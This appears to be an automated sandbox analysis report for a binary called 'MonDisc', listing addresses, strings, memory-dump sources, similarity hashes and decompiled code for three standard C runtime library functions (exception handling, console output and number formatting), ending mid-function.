0x7ff6ed137084
0x7ff6ed13708c
0x7ff6ed13708e
0x7ff6ed137098
0x7ff6ed1370a0
0x7ff6ed1370a6
0x7ff6ed1370ae
0x7ff6ed1370b1
0x7ff6ed1370b5
0x7ff6ed1370bc
0x7ff6ed1370c3
0x7ff6ed1370d0
0x7ff6ed1370d9
0x7ff6ed1370e4
0x7ff6ed1370ee
0x7ff6ed1370f4
0x7ff6ed1370fc
0x7ff6ed137102
0x7ff6ed13710a
0x7ff6ed13710d
0x7ff6ed137118
0x7ff6ed137123
0x7ff6ed13712f
0x7ff6ed137132
0x7ff6ed13713c
0x7ff6ed137148
0x7ff6ed13714b
0x7ff6ed137152
0x7ff6ed13715b
0x7ff6ed13715e
0x7ff6ed13716b
0x7ff6ed13717f
0x7ff6ed137182
0x7ff6ed137186
0x7ff6ed13718a
0x7ff6ed137196
0x7ff6ed137199
0x7ff6ed1371a0
0x7ff6ed1371a9
0x7ff6ed1371ac
0x7ff6ed1371b9
0x7ff6ed1371c6
0x7ff6ed1371c9
0x7ff6ed1371cd
0x7ff6ed1371d3
0x7ff6ed1371d9
0x7ff6ed1371db
0x7ff6ed1371de
0x7ff6ed1371e8
0x7ff6ed1371f4
0x7ff6ed1371fd
0x7ff6ed137207
0x7ff6ed137210
0x7ff6ed137215
0x7ff6ed13723c
0x7ff6ed137246
0x7ff6ed13724f
0x7ff6ed137252
0x7ff6ed137258
0x7ff6ed137265
0x7ff6ed137268
0x7ff6ed137270
0x7ff6ed137272
0x7ff6ed137274
0x7ff6ed13727c
0x7ff6ed137281
0x7ff6ed137286
0x7ff6ed137294
0x7ff6ed137298
0x7ff6ed13729a
0x7ff6ed13729d
0x7ff6ed1372a3
0x7ff6ed1372a6
0x7ff6ed1372a9
0x7ff6ed1372ac
0x7ff6ed1372b6
0x7ff6ed1372b9
0x7ff6ed1372c6
0x7ff6ed1372cc
0x7ff6ed1372d1
0x7ff6ed1372d6
0x7ff6ed1372d8
0x7ff6ed1372de
0x7ff6ed1372e8
0x7ff6ed1372ea
0x7ff6ed1372ed
0x7ff6ed1372f3
0x7ff6ed1372f6
0x7ff6ed1372f9
0x7ff6ed1372fc
0x7ff6ed137316
0x7ff6ed137318
0x7ff6ed13731e
0x7ff6ed137326
0x7ff6ed137328
0x7ff6ed13732a
0x7ff6ed13733b
0x7ff6ed137346
0x7ff6ed13734d
0x7ff6ed137353
0x7ff6ed13735c
0x7ff6ed137363
0x7ff6ed137371
0x7ff6ed137376
0x7ff6ed13737e
0x7ff6ed137385
0x7ff6ed137394
0x7ff6ed13739c
0x7ff6ed1373a0
0x7ff6ed1373a8
0x7ff6ed1373b4
0x7ff6ed1373b8
0x7ff6ed1373bc
0x7ff6ed1373be
0x7ff6ed1373c8
0x7ff6ed1373d4
0x7ff6ed1373e4
0x7ff6ed137404
0x7ff6ed137409
0x7ff6ed137410
0x7ff6ed137416
0x7ff6ed13741f
0x7ff6ed137441

Strings

0123456789abcdefpx, xrefs: 00007FF6ED1363E5
@, xrefs: 00007FF6ED137098
nan, xrefs: 00007FF6ED1362E4
FNI, xrefs: 00007FF6ED136305
NAN, xrefs: 00007FF6ED1362E9
fni, xrefs: 00007FF6ED136300
0123456789ABCDEFPX, xrefs: 00007FF6ED1363DE
+, xrefs: 00007FF6ED136702

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID: +$0123456789ABCDEFPX$0123456789abcdefpx$@$FNI$NAN$fni$nan
API String ID: 0-3582325086
Opcode ID: 75b2ebf220f6c4cd24187109e2478478f41ab01d5665a012ada5c78a2a40f0cf
Instruction ID: da5a6c5fc1e1bd3665525b409b727355d3df08e4b7722d242b1538bd43422d40
Opcode Fuzzy Hash: 75b2ebf220f6c4cd24187109e2478478f41ab01d5665a012ada5c78a2a40f0cf
Instruction Fuzzy Hash: A9B25873B286838BE7158B28D4547BD6BD1FB94384F114139EA4AC7B94EE3EE805CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1C5754 Relevance: 9.1, APIs: 6, Instructions: 83
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00007FF67FF6ED1C5754(void* __ecx, intOrPtr __edx, long long __rbx, void* __rdx, long long __rsi, void* __r8) {
				void* _t36;
				void* _t37;
				void* _t38;
				int _t43;
				signed long long _t65;
				long long _t68;
				_Unknown_base(*)()* _t88;
				void* _t92;
				void* _t93;
				void* _t95;
				signed long long _t96;
				struct _EXCEPTION_POINTERS* _t102;

				 *((long long*)(_t95 + 0x10)) = __rbx;
				 *((long long*)(_t95 + 0x18)) = __rsi;
				_t93 = _t95 - 0x4f0;
				_t96 = _t95 - 0x5f0;
				_t65 =  *0xed2361d8; // 0x3623d5dd24d9
				 *(_t93 + 0x4e0) = _t65 ^ _t96;
				if (__ecx == 0xffffffff) goto 0xed1c5793;
				_t37 = E00007FF67FF6ED174564(_t36);
				r8d = 0x98;
				_t38 = E00007FF67FF6ED174DE0(_t37, 0, _t96 + 0x70, __rdx, __r8);
				r8d = 0x4d0;
				E00007FF67FF6ED174DE0(_t38, 0, _t93 + 0x10, __rdx, __r8);
				 *((long long*)(_t96 + 0x48)) = _t96 + 0x70;
				_t68 = _t93 + 0x10;
				 *((long long*)(_t96 + 0x50)) = _t68;
				 *0xed1ee050();
				r8d = 0;
				 *0xed1ee058();
				if (_t68 == 0) goto 0xed1c5826;
				 *(_t96 + 0x38) =  *(_t96 + 0x38) & 0x00000000;
				 *((long long*)(_t96 + 0x30)) = _t96 + 0x58;
				 *((long long*)(_t96 + 0x28)) = _t96 + 0x60;
				 *((long long*)(_t96 + 0x20)) = _t93 + 0x10;
				 *0xed1ee070();
				 *((long long*)(_t93 + 0x108)) =  *((intOrPtr*)(_t93 + 0x508));
				 *((intOrPtr*)(_t96 + 0x70)) = __edx;
				 *((long long*)(_t93 + 0xa8)) = _t93 + 0x510;
				 *((long long*)(_t93 - 0x80)) =  *((intOrPtr*)(_t93 + 0x508));
				 *((intOrPtr*)(_t96 + 0x74)) = r8d;
				_t43 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(_t88, _t92);
				if (UnhandledExceptionFilter(_t102) != 0) goto 0xed1c5888;
				if (_t43 != 0) goto 0xed1c5888;
				if (__ecx == 0xffffffff) goto 0xed1c5888;
				return E00007FF67FF6ED173DE0(E00007FF67FF6ED174564(_t45), __ecx,  *(_t93 + 0x4e0) ^ _t96);
			}

0x7ff6ed1c5754
0x7ff6ed1c5759
0x7ff6ed1c5762
0x7ff6ed1c576a
0x7ff6ed1c5771
0x7ff6ed1c577b
0x7ff6ed1c578c
0x7ff6ed1c578e
0x7ff6ed1c579a
0x7ff6ed1c57a0
0x7ff6ed1c57ab
0x7ff6ed1c57b1
0x7ff6ed1c57bb
0x7ff6ed1c57c4
0x7ff6ed1c57c8
0x7ff6ed1c57cd
0x7ff6ed1c57e2
0x7ff6ed1c57e5
0x7ff6ed1c57ee
0x7ff6ed1c57f0
0x7ff6ed1c5803
0x7ff6ed1c5810
0x7ff6ed1c5819
0x7ff6ed1c5820
0x7ff6ed1c582d
0x7ff6ed1c583f
0x7ff6ed1c5843
0x7ff6ed1c5851
0x7ff6ed1c5855
0x7ff6ed1c5859
0x7ff6ed1c5863
0x7ff6ed1c5876
0x7ff6ed1c587a
0x7ff6ed1c587f
0x7ff6ed1c58ae

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6ED1C57CD
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6ED1C57E5
RtlVirtualUnwind.KERNEL32 ref: 00007FF6ED1C5820
IsDebuggerPresent.KERNEL32 ref: 00007FF6ED1C5859
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6ED1C5863
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6ED1C586E

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ddcf15c5e430d97c0c433eb2608b268b4dbf50b5775fd127252f593d01f75e48
Instruction ID: 2109ed47fb8d8e19b2efcf3bad5850378134c45260d6a764b11224e56da2e8c9
Opcode Fuzzy Hash: ddcf15c5e430d97c0c433eb2608b268b4dbf50b5775fd127252f593d01f75e48
Instruction Fuzzy Hash: 4A318237608B8289EB64CF25E8403EE33A4FB89754F500535EA8D83B98EF39C145CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1CEE30 Relevance: 7.8, APIs: 5, Instructions: 328
fileCOMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 71%

			E00007FF67FF6ED1CEE30(void* __eax, signed int __edx, void* __edi, void* __eflags, long long __rbx, long long __rcx, void* __rdx, signed char* __r8, long long __r11) {
				void* __rsi;
				void* __rbp;
				signed int _t190;
				signed int _t196;
				signed int _t202;
				int _t203;
				int _t205;
				signed int _t216;
				signed int _t220;
				void* _t225;
				signed char _t226;
				intOrPtr _t235;
				void* _t242;
				signed long long _t282;
				signed long long _t288;
				long long _t292;
				void* _t293;
				long long _t302;
				intOrPtr _t308;
				signed long long _t316;
				intOrPtr _t338;
				void* _t343;
				void* _t344;
				void* _t346;
				intOrPtr* _t347;
				long _t349;
				void* _t353;
				char _t356;
				void* _t357;
				void* _t358;
				void* _t359;
				DWORD* _t362;
				void* _t363;
				void* _t365;
				signed long long _t366;
				void* _t375;
				intOrPtr _t379;
				void* _t391;
				signed long long _t393;
				void* _t395;
				long long _t396;
				intOrPtr _t397;
				void* _t400;
				signed long long _t401;
				void* _t403;

				_t388 = __r11;
				_t302 = __rbx;
				 *((long long*)(_t365 + 8)) = __rbx;
				_t363 = _t365 - 0x27;
				_t366 = _t365 - 0x100;
				_t282 =  *0xed2361d8; // 0x3623d5dd24d9
				 *(_t363 + 0x17) = _t282 ^ _t366;
				 *((long long*)(_t363 - 9)) = __rcx;
				 *(_t363 - 0x11) = __edx;
				r13d = r9d;
				_t396 = _t395 + __r8;
				 *((long long*)(_t363 - 0x21)) = __r8;
				 *((long long*)(_t363 - 0x51)) = _t396;
				_t393 = __edx >> 6;
				_t401 = __edx + __edx * 8;
				 *((long long*)(_t363 - 0x49)) =  *((intOrPtr*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + 0x28 + _t401 * 8));
				 *((intOrPtr*)(_t363 - 0x59)) = GetConsoleOutputCP();
				E00007FF67FF6ED18BBF8( *((intOrPtr*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + 0x28 + _t401 * 8)), __rbx, _t366 + 0x50, __rdx, __edx, _t403);
				_t308 =  *((intOrPtr*)(_t366 + 0x58));
				r11d = 0;
				 *(_t363 - 0x69) = r11d;
				 *(_t363 - 0x65) = r11d;
				_t235 =  *((intOrPtr*)(_t308 + 0xc));
				 *(_t366 + 0x40) = r11d;
				 *((intOrPtr*)(_t363 - 0x55)) = _t235;
				if (__r8 - _t396 >= 0) goto 0xed1cf2c1;
				_t288 = __edx >> 6;
				 *(_t363 - 0x19) = _t288;
				r15d = 1;
				 *((char*)(_t366 + 0x44)) =  *__r8;
				 *(_t366 + 0x48) = r11d;
				if (_t235 != 0xfde9) goto 0xed1cf07a;
				_t379 =  *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t288 * 8));
				if ( *((intOrPtr*)(_t379 + _t401 * 8 + __r11 + 0x3e)) == r11b) goto 0xed1cef35;
				_t353 = __r11 + 1;
				if (_t353 - 5 < 0) goto 0xed1cef23;
				if (_t353 <= 0) goto 0xed1cf01e;
				r15d =  *((char*)(_t308 + 0x7ff6ed236520));
				r15d = r15d + 1;
				r13d = r15d;
				r13d = r13d - r11d + 1;
				if (r13d -  *((intOrPtr*)(_t363 - 0x51)) - __r8 > 0) goto 0xed1cf1e9;
				 *((char*)(_t363 - 1 + __r11)) =  *((intOrPtr*)(_t363 - 1 + __r11 + _t379 - _t363 - 1 + _t401 * 8 + 0x3e));
				if (__r11 + 1 - _t353 < 0) goto 0xed1cef7f;
				if (r13d <= 0) goto 0xed1cefaf;
				E00007FF67FF6ED175500();
				r11d = 0;
				 *((intOrPtr*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + __r11 + 0x3e + _t401 * 8)) = r11b;
				if (__r11 + 1 - _t353 < 0) goto 0xed1cefb9;
				_t292 = _t363 - 1;
				 *((long long*)(_t363 - 0x41)) = __r11;
				 *((long long*)(_t363 - 0x39)) = _t292;
				_t190 = (r11d & 0xffffff00 | r15d == 0x00000004) + 1;
				r8d = _t190;
				r15d = _t190;
				E00007FF67FF6ED1E2BF0(_t292, _t302, _t366 + 0x48, _t363 - 0x39, 0x7ff6ed0f0000, _t363 - 0x41);
				if (_t292 == 0xffffffff) goto 0xed1cf0e2;
				_t397 =  *((intOrPtr*)(_t363 - 0x51));
				goto 0xed1cf104;
				_t356 =  *((char*)(_t292 + 0x7ff6ed236520));
				_t225 = _t356 + 1;
				_t293 = _t225;
				if (_t293 - _t397 - __r8 > 0) goto 0xed1cf223;
				 *((long long*)(_t363 - 0x31)) = __r11;
				 *((long long*)(_t363 - 0x29)) = __r8;
				_t196 = (r11d & 0xffffff00 | _t225 == 0x00000004) + 1;
				r8d = _t196;
				_t316 = _t366 + 0x48;
				E00007FF67FF6ED1E2BF0(_t293, _t302, _t316, _t363 - 0x29, 0x7ff6ed0f0000, _t363 - 0x31);
				if (_t293 == 0xffffffff) goto 0xed1cf0e2;
				_t357 = _t356 + __r8;
				r15d = _t196;
				goto 0xed1cf104;
				_t338 =  *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8));
				_t226 =  *(_t338 + 0x3d + _t401 * 8);
				if ((_t226 & 0x00000004) == 0) goto 0xed1cf0ae;
				 *((char*)(_t363 + 7)) =  *((intOrPtr*)(_t338 + 0x3e + _t401 * 8));
				 *(_t338 + 0x3d + _t401 * 8) = _t226 & 0x000000fb;
				 *((char*)(_t363 + 8)) =  *__r8;
				goto 0xed1cf0cd;
				E00007FF67FF6ED1CA490(_t226 & 0x000000fb, r11d + 1, 0x7ff6ed0f0000, _t302, _t316, _t363 + 7, _t357);
				_t228 =  *__r8 & 0x000000ff;
				if ( *((intOrPtr*)(0x7ff6ed0f0000 + _t316 * 2)) >= 0) goto 0xed1cf0eb;
				_t358 = _t357 + 1;
				if (_t358 - _t397 >= 0) goto 0xed1cf27c;
				r8d = 2;
				if (E00007FF67FF6ED1C806C( *__r8 & 0x000000ff, 0, _t358 - _t397, 0x7ff6ed0f0000, _t302, _t366 + 0x48, 0x7ff6ed0f0000, _t400) != 0xffffffff) goto 0xed1cf104;
				goto 0xed1cf276;
				_t202 = E00007FF67FF6ED1C806C(_t228, 0,  *((char*)(_t363 - 0x71)), 0x7ff6ed0f0000, _t302, _t366 + 0x48, 0x7ff6ed0f0000, _t395);
				if (_t202 == 0xffffffff) goto 0xed1cf2b3;
				_t375 = _t366 + 0x48;
				 *((long long*)(_t366 + 0x38)) = _t302;
				_t346 = _t358 + 1;
				 *((long long*)(_t366 + 0x30)) = _t302;
				r9d = r15d;
				 *((intOrPtr*)(_t366 + 0x28)) = 5;
				 *((long long*)(_t366 + 0x20)) = _t363 + 0xf;
				E00007FF67FF6ED1D6518();
				if (_t202 == 0) goto 0xed1cf313;
				r8d = _t202;
				 *((long long*)(_t366 + 0x20)) = _t302;
				_t203 = WriteFile(_t391, _t344, _t349, _t362);
				r11d = 0;
				if (_t203 == 0) goto 0xed1cf30a;
				r15d =  *(_t366 + 0x40);
				_t216 = __edi -  *((intOrPtr*)(_t363 - 0x21)) + r15d;
				 *(_t363 - 0x65) = _t216;
				if ( *((intOrPtr*)(_t366 + 0x4c)) - _t202 < 0) goto 0xed1cf272;
				if ( *((char*)(_t366 + 0x44)) != 0xa) goto 0xed1cf1d1;
				_t121 = _t388 + 0xd; // 0xd
				 *((short*)(_t366 + 0x44)) = _t121;
				_t124 = _t388 + 1; // 0x1
				r8d = _t124;
				 *((long long*)(_t366 + 0x20)) = __r11;
				_t343 = _t366 + 0x44;
				_t205 = WriteFile(??, ??, ??, ??, ??);
				r11d = 0;
				if (_t205 == 0) goto 0xed1cf2aa;
				if ( *((intOrPtr*)(_t366 + 0x4c)) - 1 < 0) goto 0xed1cf272;
				r15d = r15d + 1;
				 *(_t366 + 0x40) = r15d;
				 *(_t363 - 0x65) = _t216 + 1;
				_t359 = _t346;
				if (_t346 - _t397 >= 0) goto 0xed1cf2bd;
				goto 0xed1ceeed;
				if (_t375 <= 0) goto 0xed1cf21e;
				_t347 = _t346 - _t359;
				_t242 = r11d + 1;
				 *((char*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + _t359 + 0x3e + _t401 * 8)) =  *((intOrPtr*)(_t347 + _t359));
				if (_t242 - _t375 < 0) goto 0xed1cf1fb;
				goto 0xed1cf26f;
				r9d = r11d;
				if (_t343 <= 0) goto 0xed1cf26d;
				r13d = r13d & 0x0000003f;
				r9d = r9d + 1;
				 *((char*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + ( *(_t363 - 0x11) >> 6) * 8)) + __r11 + 0x3e + ( *(_t363 - 0x11) * 8 +  *(_t363 - 0x11)) * 8)) =  *((intOrPtr*)(__r11 + _t347));
				if (r9d - _t343 < 0) goto 0xed1cf248;
				r11d = 0;
				_t220 =  *(_t363 - 0x65) + r8d + _t242;
				 *(_t363 - 0x65) = _t220;
				goto 0xed1cf2c5;
				 *(_t363 - 0x65) = _t220 + 1;
				 *((char*)( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + 0x3e + _t401 * 8)) =  *_t347;
				 *( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + 0x3d + _t401 * 8) =  *( *((intOrPtr*)(0x7ff6ed0f0000 + 0x148660 + _t393 * 8)) + 0x3d + _t401 * 8) | 0x00000004;
				goto 0xed1cf276;
				 *(_t363 - 0x69) = GetLastError();
				goto 0xed1cf2c5;
				if ( *((intOrPtr*)(_t363 - 0x71)) == r11b) goto 0xed1cf2d3;
				 *( *((intOrPtr*)(_t366 + 0x50)) + 0x3a8) =  *( *((intOrPtr*)(_t366 + 0x50)) + 0x3a8) & 0xfffffffd;
				asm("movsd xmm0, [ebp-0x69]");
				asm("movsd [eax], xmm0");
				 *( *((intOrPtr*)(_t363 - 9)) + 8) =  *(_t366 + 0x40);
				return E00007FF67FF6ED173DE0(_t209,  *(_t366 + 0x40),  *(_t363 + 0x17) ^ _t366);
			}

0x7ff6ed1cee30
0x7ff6ed1cee30
0x7ff6ed1cee30
0x7ff6ed1cee40
0x7ff6ed1cee45
0x7ff6ed1cee4c
0x7ff6ed1cee56
0x7ff6ed1cee63
0x7ff6ed1cee67
0x7ff6ed1cee75
0x7ff6ed1cee78
0x7ff6ed1cee7b
0x7ff6ed1cee82
0x7ff6ed1cee86
0x7ff6ed1cee8a
0x7ff6ed1cee9b
0x7ff6ed1ceeac
0x7ff6ed1ceeaf
0x7ff6ed1ceeb4
0x7ff6ed1ceeb9
0x7ff6ed1ceebc
0x7ff6ed1ceec3
0x7ff6ed1ceec9
0x7ff6ed1ceecf
0x7ff6ed1ceed3
0x7ff6ed1ceed9
0x7ff6ed1ceee5
0x7ff6ed1ceee9
0x7ff6ed1ceeef
0x7ff6ed1ceef5
0x7ff6ed1ceef9
0x7ff6ed1cef04
0x7ff6ed1cef14
0x7ff6ed1cef28
0x7ff6ed1cef2c
0x7ff6ed1cef33
0x7ff6ed1cef38
0x7ff6ed1cef53
0x7ff6ed1cef5c
0x7ff6ed1cef5f
0x7ff6ed1cef62
0x7ff6ed1cef6b
0x7ff6ed1cef8e
0x7ff6ed1cef93
0x7ff6ed1cef98
0x7ff6ed1cefa7
0x7ff6ed1cefac
0x7ff6ed1cefc7
0x7ff6ed1cefcf
0x7ff6ed1cefd1
0x7ff6ed1cefd5
0x7ff6ed1cefd9
0x7ff6ed1ceff4
0x7ff6ed1ceff6
0x7ff6ed1ceff9
0x7ff6ed1ceffc
0x7ff6ed1cf005
0x7ff6ed1cf00f
0x7ff6ed1cf019
0x7ff6ed1cf027
0x7ff6ed1cf030
0x7ff6ed1cf033
0x7ff6ed1cf039
0x7ff6ed1cf042
0x7ff6ed1cf049
0x7ff6ed1cf054
0x7ff6ed1cf05a
0x7ff6ed1cf05d
0x7ff6ed1cf064
0x7ff6ed1cf06d
0x7ff6ed1cf06f
0x7ff6ed1cf072
0x7ff6ed1cf075
0x7ff6ed1cf081
0x7ff6ed1cf089
0x7ff6ed1cf091
0x7ff6ed1cf09b
0x7ff6ed1cf0a0
0x7ff6ed1cf0a9
0x7ff6ed1cf0ac
0x7ff6ed1cf0ae
0x7ff6ed1cf0b3
0x7ff6ed1cf0bc
0x7ff6ed1cf0be
0x7ff6ed1cf0c4
0x7ff6ed1cf0cd
0x7ff6ed1cf0e0
0x7ff6ed1cf0e6
0x7ff6ed1cf0f6
0x7ff6ed1cf0fe
0x7ff6ed1cf10d
0x7ff6ed1cf112
0x7ff6ed1cf117
0x7ff6ed1cf11b
0x7ff6ed1cf120
0x7ff6ed1cf123
0x7ff6ed1cf12d
0x7ff6ed1cf132
0x7ff6ed1cf13b
0x7ff6ed1cf14a
0x7ff6ed1cf14d
0x7ff6ed1cf156
0x7ff6ed1cf15c
0x7ff6ed1cf161
0x7ff6ed1cf167
0x7ff6ed1cf171
0x7ff6ed1cf174
0x7ff6ed1cf17b
0x7ff6ed1cf186
0x7ff6ed1cf18c
0x7ff6ed1cf195
0x7ff6ed1cf19a
0x7ff6ed1cf19a
0x7ff6ed1cf19e
0x7ff6ed1cf1a3
0x7ff6ed1cf1a8
0x7ff6ed1cf1ae
0x7ff6ed1cf1b3
0x7ff6ed1cf1be
0x7ff6ed1cf1c4
0x7ff6ed1cf1c9
0x7ff6ed1cf1ce
0x7ff6ed1cf1d1
0x7ff6ed1cf1d7
0x7ff6ed1cf1e4
0x7ff6ed1cf1ef
0x7ff6ed1cf1f1
0x7ff6ed1cf1fe
0x7ff6ed1cf20e
0x7ff6ed1cf219
0x7ff6ed1cf221
0x7ff6ed1cf223
0x7ff6ed1cf229
0x7ff6ed1cf235
0x7ff6ed1cf24c
0x7ff6ed1cf25d
0x7ff6ed1cf268
0x7ff6ed1cf26a
0x7ff6ed1cf26d
0x7ff6ed1cf26f
0x7ff6ed1cf27a
0x7ff6ed1cf28f
0x7ff6ed1cf292
0x7ff6ed1cf29f
0x7ff6ed1cf2a8
0x7ff6ed1cf2b0
0x7ff6ed1cf2bb
0x7ff6ed1cf2c5
0x7ff6ed1cf2cc
0x7ff6ed1cf2d7
0x7ff6ed1cf2dc
0x7ff6ed1cf2e0
0x7ff6ed1cf309

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF6ED1CEE9F
WriteFile.KERNEL32 ref: 00007FF6ED1CF156
WriteFile.KERNEL32 ref: 00007FF6ED1CF1A8
GetLastError.KERNEL32 ref: 00007FF6ED1CF2AA
GetLastError.KERNEL32 ref: 00007FF6ED1CF30A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorFileLastWrite$ConsoleOutput
String ID:
API String ID: 1443284424-0
Opcode ID: f0929ef3a9e709c59f2e9e174a8fa3168c89870c3cf4840a71127bc4994f69db
Instruction ID: c7f625985160c744202ad8a5773824f62700bd29f2e35d047d86f52bf29230bb
Opcode Fuzzy Hash: f0929ef3a9e709c59f2e9e174a8fa3168c89870c3cf4840a71127bc4994f69db
Instruction Fuzzy Hash: B7E1FF63B09A828AE704CFA4D4403ED7BB1FB45788F144136DE4E9BB99EE39D416C705

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED11A860 Relevance: 4.0, Strings: 3, Instructions: 239
COMMONCrypto

Download Yara Rule

C-Code - Quality: 67%

			E00007FF67FF6ED11A860(signed int __edx, void* __edi, long long* __rcx, unsigned int __rdx, long long __rdi, long long __rsi, signed int __r8, long long __r14, long long __r15, long long _a24) {
				long long _v40;
				long long _v48;
				long long _v56;
				signed int _v64;
				char _v65;
				char _v66;
				long long _v96;
				signed long long _v100;
				void* _v104;
				char _t59;
				signed long long _t68;
				void* _t73;
				void* _t76;
				void* _t81;
				unsigned int _t87;
				unsigned int _t98;
				signed int _t106;
				signed int _t108;
				signed int _t110;
				signed int _t113;
				unsigned long long _t122;
				unsigned long long _t123;
				void* _t126;
				void* _t127;
				void* _t131;
				void* _t134;
				signed long long _t137;
				void* _t147;
				void* _t148;
				signed long long _t160;
				signed int* _t164;
				signed int* _t165;
				char* _t166;
				char* _t167;
				signed char* _t168;
				intOrPtr _t173;
				char* _t174;
				unsigned int* _t175;
				unsigned int* _t176;
				void* _t177;
				char* _t178;
				void* _t179;
				signed long long _t184;
				unsigned long long _t185;
				unsigned long long _t186;

				_t137 =  *0xed2361d8; // 0x3623d5dd24d9
				_v64 = _t137 ^  &_v104;
				_v40 = __rdi;
				_v48 = __r14;
				_v56 = __r15;
				if ((__edx & 0x0000000f) != 3) goto 0xed11a8c4;
				_t113 = __r8;
				if (_t113 >= 0) goto 0xed11a8ab;
				_t184 =  ~__r8;
				goto 0xed11a8c4;
				asm("bt edx, 0x9");
				if (_t113 >= 0) goto 0xed11a8b8;
				goto 0xed11a8c4;
				asm("bt edx, 0xb");
				_t81 =  <  ? 0x120 : 0x12b;
				r9d = __edx;
				r15d = __edx;
				asm("inc ecx");
				r9d = r9d >> 0x18;
				r9d = r9d - 1;
				r15d =  <  ? __edx : r15d;
				if (_t184 != 0) goto 0xed11a907;
				if (r9d != 0) goto 0xed11a8f8;
				if ((r15d & 0x00001020) != 0x1020) goto 0xed11aa13;
				_v66 = 0x30;
				goto 0xed11aa13;
				if ((r15b & 0x00000030) != 0) goto 0xed11a98f;
				if ((0x00000000 & _t184) == 0) goto 0xed11a960;
				asm("o16 nop [eax+eax]");
				_t164 =  &_v66 - 1;
				_t160 = __rdx >> 3;
				r8b = r8b - 0xcccccccd + _t160 + 0xcccccccd + _t160;
				r8b = r8b + 0x30;
				 *_t164 = r8b;
